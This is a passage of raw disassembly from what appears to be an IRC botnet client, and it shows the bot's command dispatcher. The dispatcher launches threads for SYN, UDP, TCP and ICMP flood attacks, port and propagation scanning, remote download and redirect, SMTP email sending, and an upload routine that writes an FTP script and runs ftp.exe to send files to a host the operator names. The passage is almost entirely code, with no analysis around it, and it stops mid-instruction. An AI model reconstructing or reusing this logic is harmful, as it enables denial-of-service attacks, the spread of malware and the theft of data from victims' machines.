sub_401CC7+4DFEj cmp [ebp+var_3070], ebx jnz loc_403F5A push 32h call ds:dword_4F6380 ; Sleep jmp short loc_406AB1 ; --------------------------------------------------------------------------- loc_406AC7: ; CODE XREF: sub_401CC7+4DE8j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_443D8C jmp loc_403F4B ; --------------------------------------------------------------------------- loc_406AD8: ; CODE XREF: sub_401CC7+4D3Ej push [ebp+arg_8] ; Str2 push offset aSynflood ; "synflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081C4 push [ebp+arg_8] ; Str2 push offset aSyn ; "syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4081C4 push [ebp+arg_8] ; Str2 push offset aSkysyn ; "skysyn" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406C05 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi ; Count push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3624] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_35A4] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3524] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+Dst] push [ebp+arg_18] mov [ebp+var_36A8], esi push edi push offset asc_443E4C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 10h ; int push eax ; Source call sub_40B78E add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset sub_4140DF push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_406BF4 loc_406BDE: ; CODE XREF: sub_401CC7+4F2Bj cmp [ebp+var_3498], ebx jnz loc_4075C0 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_406BDE ; --------------------------------------------------------------------------- loc_406BF4: ; CODE XREF: sub_401CC7+4F15j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset dword_443E7C jmp loc_4075B1 ; --------------------------------------------------------------------------- loc_406C05: ; CODE XREF: sub_401CC7+4E50j push [ebp+arg_8] ; Str2 push offset aPhatwonk ; "phatwonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_4080DC push [ebp+arg_8] ; Str2 push offset aWonk ; "wonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_4080DC push [ebp+arg_8] ; Str2 push offset aDownload ; "download" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F9E push [ebp+arg_8] ; Str2 push offset aDl ; "dl" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F9E push [ebp+arg_8] ; Str2 push offset aRedirect ; "redirect" call _strcmp pop ecx test eax, eax pop ecx jz loc_407EA1 push [ebp+arg_8] ; Str2 push offset aRd ; "rd" call _strcmp pop ecx test eax, eax pop ecx jz loc_407EA1 push [ebp+arg_8] ; Str2 push offset aScan_2 ; "scan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407DAE push [ebp+arg_8] ; Str2 push offset aSc ; "sc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407DAE push [ebp+arg_8] ; Str2 push offset aC_privmsg ; "c_privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_407CB1 push [ebp+arg_8] ; Str2 push offset aC_pm ; "c_pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_407CB1 push [ebp+arg_8] ; Str2 push offset aC_action ; "c_action" call _strcmp pop ecx test eax, eax pop ecx jz loc_407BC1 push [ebp+arg_8] ; Str2 push offset aC_a ; "c_a" call _strcmp pop ecx test eax, eax pop ecx jz loc_407BC1 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_1C], eax jz loc_402166 push [ebp+arg_8] ; Str2 push offset aPortscan ; "portscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407ABB push [ebp+arg_8] ; Str2 push offset aPsc ; "psc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407ABB push [ebp+arg_8] ; Str2 push offset aAdvscan ; "advscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_4075E0 push [ebp+arg_8] ; Str2 push offset aAsc ; "asc" call _strcmp pop ecx test eax, eax pop ecx jz loc_4075E0 push [ebp+arg_8] ; Str2 push offset aUdpflood ; "udpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_407497 push [ebp+arg_8] ; Str2 push offset aUdp ; "udp" call _strcmp pop ecx test eax, eax pop ecx jz loc_407497 push [ebp+arg_8] ; Str2 push offset aU ; "u" call _strcmp pop ecx test eax, eax pop ecx jz loc_407497 push [ebp+arg_8] ; Str2 push offset aNetsend ; "netsend" call _strcmp pop ecx test eax, eax pop ecx jz loc_407389 push [ebp+arg_8] ; Str2 push offset aNs ; "ns" call _strcmp pop ecx test eax, eax pop ecx jz loc_407389 push [ebp+arg_8] ; Str2 push offset aPingflood ; "pingflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_40725F push [ebp+arg_8] ; Str2 push offset aPing_0 ; "ping" call _strcmp pop ecx test eax, eax pop ecx jz loc_40725F push [ebp+arg_8] ; Str2 push offset aP ; "p" call _strcmp pop ecx test eax, eax pop ecx jz loc_40725F push [ebp+arg_8] ; Str2 push offset aVnchost ; "vnchost" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406E84 push edi call sub_41C5F5 pop ecx lea eax, [ebp+Dst] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_402166 push ebx lea eax, [ebp+Dst] push [ebp+var_4] push eax jmp loc_4042DD ; --------------------------------------------------------------------------- loc_406E84: ; CODE XREF: sub_401CC7+5186j push [ebp+arg_8] ; Str2 push offset aTcpflood ; "tcpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_4070B8 push [ebp+arg_8] ; Str2 push offset aTcp ; "tcp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4070B8 push [ebp+arg_8] ; Str2 push offset aEmail ; "email" call _strcmp pop ecx test eax, eax pop ecx jnz loc_407060 lea eax, [ebp+var_47EC] push edi ; Source push eax ; Dest call _strcpy push [ebp+arg_18] ; Str call _atoi push [ebp+Src] ; Source mov [ebp+arg_18], eax lea eax, [ebp+var_4188] push eax ; Dest call _strcpy push [ebp+arg_1C] ; Source lea eax, [ebp+var_4588] push eax ; Dest call _strcpy push offset asc_44467C ; " " push offset a__1 ; "_" push [ebp+esi+var_7C] ; Src call sub_418C3F push eax ; Source lea eax, [ebp+var_4288] push eax ; Dest call _strcpy add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4E4190 ; WSAStartup lea eax, [ebp+var_47EC] push eax call dword_4E42A4 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4E42A0 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4E4220 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax ; Dest call _sprintf add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4E41C8 ; connect mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4E4238 ; recv lea eax, [ebp+var_4088] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4E4270 ; send push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4E4238 ; recv push esi call dword_4E42B8 ; closesocket call dword_4E4178 ; WSACleanup lea eax, [ebp+var_4588] push eax push offset asc_4446D0 ; "-" loc_407019: ; CODE XREF: sub_401CC7+2E8Bj ; sub_401CC7+464Bj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_407025: ; CODE XREF: sub_401CC7+244Bj add esp, 0Ch loc_407028: ; CODE XREF: sub_401CC7+45FEj ; sub_401CC7+67A5j ... cmp [ebp+var_8], ebx jnz short loc_407049 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_407049: ; CODE XREF: sub_401CC7+29A7j ; sub_401CC7+29FAj ... mov esi, [ebp+File] loc_40704C: ; CODE XREF: sub_401CC7+6A44j ; sub_401CC7+7A36j ... lea eax, [ebp+Dst] push eax call sub_415C77 pop ecx mov eax, esi jmp loc_402169 ; --------------------------------------------------------------------------- loc_407060: ; CODE XREF: sub_401CC7+51FCj push [ebp+arg_8] ; Str2 push offset aHttpcon ; "httpcon" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40708A push [ebp+arg_8] ; Str2 push offset aHcon ; "hcon" call _strcmp pop ecx test eax, eax pop ecx jnz loc_407632 loc_40708A: ; CODE XREF: sub_401CC7+53AAj push [ebp+esi+var_7C] ; int push [ebp+arg_1C] ; int push [ebp+Src] ; int push [ebp+arg_18] ; Str call _atoi pop ecx push eax ; int push edi ; int push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_410B94 jmp loc_404299 ; --------------------------------------------------------------------------- loc_4070B8: ; CODE XREF: sub_401CC7+51CEj ; sub_401CC7+51E5j mov esi, 80h push edi ; Format lea eax, [ebp+var_1354] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1354] push eax ; Str2 push offset aSyn_0 ; "syn" call _strcmp add esp, 14h test eax, eax jz short loc_40711B lea eax, [ebp+var_1354] push eax ; Str2 push offset aAck ; "ack" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40711B lea eax, [ebp+var_1354] push eax ; Str2 push offset aRandom_0 ; "random" call _strcmp pop ecx test eax, eax pop ecx jz short loc_40711B push offset unk_444648 jmp loc_40724C ; --------------------------------------------------------------------------- loc_40711B: ; CODE XREF: sub_401CC7+541Aj ; sub_401CC7+5431j ... push [ebp+arg_1C] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_407247 push edi ; Format lea eax, [ebp+var_1354] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_13D4] push [ebp+arg_18] ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+Src] ; Str call _atoi mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_4071B8 mov eax, offset aNormal ; "Normal" loc_4071B8: ; CODE XREF: sub_401CC7+54EAj push [ebp+arg_1C] push [ebp+Src] push [ebp+arg_18] push edi push eax push offset asc_4445A4 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 14h ; int push eax ; Source call sub_40B78E add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset sub_4148EE push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_407236 loc_407220: ; CODE XREF: sub_401CC7+556Dj cmp [ebp+var_123C], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407220 ; --------------------------------------------------------------------------- loc_407236: ; CODE XREF: sub_401CC7+5557j call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_4445D8 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_407247: ; CODE XREF: sub_401CC7+5465j push offset asc_444610 ; "-" loc_40724C: ; CODE XREF: sub_401CC7+1FD8j ; sub_401CC7+1FEEj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_4085D7 ; --------------------------------------------------------------------------- loc_40725F: ; CODE XREF: sub_401CC7+5141j ; sub_401CC7+5158j ... cmp dword_4E4310, ebx jnz loc_40736E mov eax, [ebp+var_8] push 7Fh ; Count mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push edi ; Source push eax ; Dest call _strncpy push [ebp+arg_18] ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_100C], eax call _atoi push [ebp+arg_1C] ; Str mov [ebp+var_1008], eax call _atoi push 7Fh ; Count mov [ebp+var_1004], eax push [ebp+Format] ; Source lea eax, [ebp+var_110C] push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+Dst] push [ebp+var_100C] push offset asc_4444B4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 16h ; int push eax ; Source call sub_40B78E add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset sub_413D3D push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_40735D loc_407347: ; CODE XREF: sub_401CC7+5694j cmp [ebp+var_FF0], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407347 ; --------------------------------------------------------------------------- loc_40735D: ; CODE XREF: sub_401CC7+567Ej call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_4444FC jmp loc_404BEE ; --------------------------------------------------------------------------- loc_40736E: ; CODE XREF: sub_401CC7+559Ej push 1FFh ; Count lea eax, [ebp+Dst] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax ; Dest call _strncpy jmp loc_4085D4 ; --------------------------------------------------------------------------- loc_407389: ; CODE XREF: sub_401CC7+5113j ; sub_401CC7+512Aj push [ebp+arg_18] lea eax, [ebp+Dst] push edi push [ebp+Src] push offset asc_4443C0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C push [ebp+Src] ; Str call _strlen push [ebp+arg_18] ; Str mov edi, eax call _strlen push [ebp+arg_20] ; Str add edi, eax call _strlen push [ebp+arg_8] ; Str add edi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_1C] ; SubStr lea eax, [eax+edi+7] push eax ; Str call _strstr add esp, 40h mov [ebp+arg_C], eax push [ebp+Src] ; Str call _atoi mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+Source], ebx jle short loc_407483 loc_40740C: ; CODE XREF: sub_401CC7+5769j push [ebp+arg_C] ; int push [ebp+arg_18] ; int push edi ; Source call sub_4194A9 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_407434 cmp eax, ebx jnz short loc_407453 inc [ebp+Source] mov eax, [ebp+Source] cmp eax, [ebp+arg_14] jl short loc_40740C jmp short loc_40748C ; --------------------------------------------------------------------------- loc_407434: ; CODE XREF: sub_401CC7+575Aj push ebx ; int push [ebp+var_4] ; int push offset unk_4443FC ; int loc_40743D: ; CODE XREF: sub_401CC7+57CEj push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h jmp loc_407632 ; --------------------------------------------------------------------------- loc_407453: ; CODE XREF: sub_401CC7+575Ej push [ebp+arg_20] lea eax, [ebp+Dst] push offset asc_444434 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 20h loc_407483: ; CODE XREF: sub_401CC7+5743j cmp [ebp+arg_20], ebx jnz loc_407632 loc_40748C: ; CODE XREF: sub_401CC7+576Bj push ebx push [ebp+var_4] push offset unk_444468 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407497: ; CODE XREF: sub_401CC7+50CEj ; sub_401CC7+50E5j ... mov eax, [ebp+var_8] push 7Fh ; Count mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push edi ; Source push eax ; Dest call _strncpy push [ebp+arg_18] ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_C7C], eax call _atoi push [ebp+arg_1C] ; Str mov [ebp+var_C78], eax call _atoi mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4074FC push esi ; Str call _atoi pop ecx mov [ebp+var_C70], eax jmp short loc_407502 ; --------------------------------------------------------------------------- loc_4074FC: ; CODE XREF: sub_401CC7+5824j mov [ebp+var_C70], ebx loc_407502: ; CODE XREF: sub_401CC7+5833j push 7Fh ; Count lea eax, [ebp+var_D7C] push [ebp+Format] ; Source push eax ; Dest call _strncpy add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+Dst] push [ebp+var_C7C] push offset asc_444334 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 17h ; int push eax ; Source call sub_40B78E add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset sub_413EC9 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_4075A5 loc_407593: ; CODE XREF: sub_401CC7+58DCj cmp [ebp+var_C60], ebx jnz short loc_4075C0 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407593 ; --------------------------------------------------------------------------- loc_4075A5: ; CODE XREF: sub_401CC7+58CAj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset asc_44437C ; "-" loc_4075B1: ; CODE XREF: sub_401CC7+4F39j ; sub_401CC7+6410j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_4075C0: ; CODE XREF: sub_401CC7+4F1Dj ; sub_401CC7+58D2j ... cmp [ebp+var_8], ebx jnz loc_408708 push ebx push [ebp+var_4] loc_4075CD: ; CODE XREF: sub_401CC7+229Ej lea eax, [ebp+Dst] push eax push [ebp+Format] push esi jmp loc_4085F4 ; --------------------------------------------------------------------------- loc_4075E0: ; CODE XREF: sub_401CC7+50A0j ; sub_401CC7+50B7j push 0Bh call sub_40B9D6 push [ebp+arg_18] ; Str mov [ebp+Source], eax call _atoi add eax, [ebp+Source] pop ecx pop ecx cmp eax, 1F4h jle loc_4077AB push [ebp+Source] lea eax, [ebp+Dst] push offset asc_4441C4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 20h loc_407632: ; CODE XREF: sub_401CC7+53BDj ; sub_401CC7+5787j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_402166 push [ebp+arg_8] ; Str2 push offset aUpload ; "upload" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409B47 push 4 push esi call sub_4174A9 pop ecx test eax, eax pop ecx jnz short loc_40767D push esi push offset asc_44470C ; "-" loc_407669: ; CODE XREF: sub_401CC7+7374j ; sub_401CC7+7C74j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4041B1 ; --------------------------------------------------------------------------- loc_40767D: ; CODE XREF: sub_401CC7+599Aj call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand push 9 cdq pop ecx idiv ecx push edx call _rand push 63h cdq pop ecx idiv ecx push edx call _rand cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+Filename] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen add esp, 20h cmp eax, ebx mov [ebp+File], eax jz loc_402166 push esi push [ebp+arg_1C] push [ebp+Src] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax ; File call _fprintf push [ebp+File] ; File call _fclose add esp, 20h lea eax, [ebp+Filename] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_0 ; "open" push ebx call dword_4E418C test eax, eax push edi push esi ; Format jz short loc_40774A push offset unk_44477C jmp short loc_40774F ; --------------------------------------------------------------------------- loc_40774A: ; CODE XREF: sub_401CC7+5A7Aj push offset asc_4447A4 ; "-" loc_40774F: ; CODE XREF: sub_401CC7+5A81j call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407778 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 14h loc_407778: ; CODE XREF: sub_401CC7+5A93j lea eax, [ebp+Dst] push eax call sub_415C77 loc_407784: ; CODE XREF: sub_401CC7+5AE2j lea eax, [ebp+Filename] push 4 push eax call sub_4174A9 add esp, 0Ch test eax, eax jz loc_402166 lea eax, [ebp+Filename] push eax call sub_420290 jmp short loc_407784 ; --------------------------------------------------------------------------- loc_4077AB: ; CODE XREF: sub_401CC7+5935j push edi ; Str call _atoi push [ebp+arg_18] ; Str mov [ebp+var_370], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_358], eax call _atoi add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4077E4 push 5 pop eax mov [ebp+var_36C], eax loc_4077E4: ; CODE XREF: sub_401CC7+5B12j push 3Ch pop ecx cmp eax, ecx jbe short loc_4077F1 mov [ebp+var_36C], ecx loc_4077F1: ; CODE XREF: sub_401CC7+5B22j push [ebp+arg_1C] ; Str call _atoi cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_407811 mov [ebp+var_368], 320h loc_407811: ; CODE XREF: sub_401CC7+5B3Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_449248, ebx mov [ebp+Source], ebx jz short loc_407867 mov [ebp+File], offset dword_449248 loc_40782A: ; CODE XREF: sub_401CC7+5B82j mov eax, [ebp+File] push edi ; Str2 add eax, 0FFFFFFD8h push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40784D add [ebp+File], 40h inc [ebp+Source] mov eax, [ebp+File] cmp [eax], ebx jnz short loc_40782A jmp short loc_407867 ; --------------------------------------------------------------------------- loc_40784D: ; CODE XREF: sub_401CC7+5B74j mov eax, [ebp+Source] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_449248[ecx] mov [ebp+var_370], ecx loc_407867: ; CODE XREF: sub_401CC7+5B5Aj ; sub_401CC7+5B84j cmp [ebp+var_370], ebx jnz short loc_407879 push offset unk_444204 jmp loc_40724C ; --------------------------------------------------------------------------- loc_407879: ; CODE XREF: sub_401CC7+5BA6j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+Src], edi jz short loc_4078B4 cmp byte ptr [edi], 23h jz short loc_4078B4 push edi ; Format lea eax, [ebp+var_484] push 10h ; Count push eax ; Dest call __snprintf push 78h ; Val push edi ; Str call _strchr add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_40798E ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_401CC7+5BBBj ; sub_401CC7+5BC0j cmp [ebp+var_8FF], bl jnz short loc_4078D6 cmp [ebp+var_8FE], bl jnz short loc_4078D6 cmp [ebp+var_8EE], bl jnz short loc_4078D6 push offset unk_444238 jmp loc_40724C ; --------------------------------------------------------------------------- loc_4078D6: ; CODE XREF: sub_401CC7+5BF3j ; sub_401CC7+5BFBj ... push 10h lea eax, [ebp+var_2D8] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D8], edi push [ebp+arg_4] call dword_4E41C4 ; getsockname mov al, [ebp+var_8FF] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] ; Count call dword_4E42AC ; inet_ntoa push eax ; Source lea eax, [ebp+var_484] push eax ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_407988 xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax ; Str call _strrchr pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+File+3], bl jle short loc_40797C loc_40795A: ; CODE XREF: sub_401CC7+5CB3j cmp eax, ebx jz short loc_40797C mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_40795A loc_40797C: ; CODE XREF: sub_401CC7+5C91j ; sub_401CC7+5C95j mov [ebp+var_344], 1 jmp short loc_40798E ; --------------------------------------------------------------------------- loc_407988: ; CODE XREF: sub_401CC7+5C6Bj mov [ebp+var_344], ebx loc_40798E: ; CODE XREF: sub_401CC7+5BE8j ; sub_401CC7+5CBFj mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4079DF loc_4079CC: ; CODE XREF: sub_401CC7+5D3Bj push esi ; Format loc_4079CD: ; CODE XREF: sub_401CC7+5D25j lea eax, [ebp+var_3F4] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_407A0A ; --------------------------------------------------------------------------- loc_4079DF: ; CODE XREF: sub_401CC7+5D03j mov eax, [ebp+Src] cmp eax, ebx jz short loc_4079EE cmp byte ptr [eax], 23h jnz short loc_4079EE push eax jmp short loc_4079CD ; --------------------------------------------------------------------------- loc_4079EE: ; CODE XREF: sub_401CC7+5D1Dj ; sub_401CC7+5D22j mov esi, offset aHelp ; "##help" push offset byte_4E40D8 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4079CC mov [ebp+var_3F4], bl loc_407A0A: ; CODE XREF: sub_401CC7+5D16j cmp [ebp+var_344], ebx mov eax, offset aRandom_1 ; "Random" jnz short loc_407A1C mov eax, offset aSequential_0 ; "Sequential" loc_407A1C: ; CODE XREF: sub_401CC7+5D4Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+Dst] push offset asc_444280 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B78E add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40CBA1 push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz short loc_407AAA loc_407A94: ; CODE XREF: sub_401CC7+5DE1j cmp [ebp+var_340], ebx jnz loc_4085D7 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_407A94 ; --------------------------------------------------------------------------- loc_407AAA: ; CODE XREF: sub_401CC7+5DCBj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_4442E8 jmp loc_404BEE ; --------------------------------------------------------------------------- loc_407ABB: ; CODE XREF: sub_401CC7+5072j ; sub_401CC7+5089j push edi call sub_40AE8D push [ebp+arg_18] ; Str mov [ebp+var_4E0], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_4F0], eax call _atoi push [ebp+arg_1C] ; Str mov [ebp+var_4EC], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax ; Dest call _strncpy add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_44412C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B78E add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40CFBE push ebx push ebx call 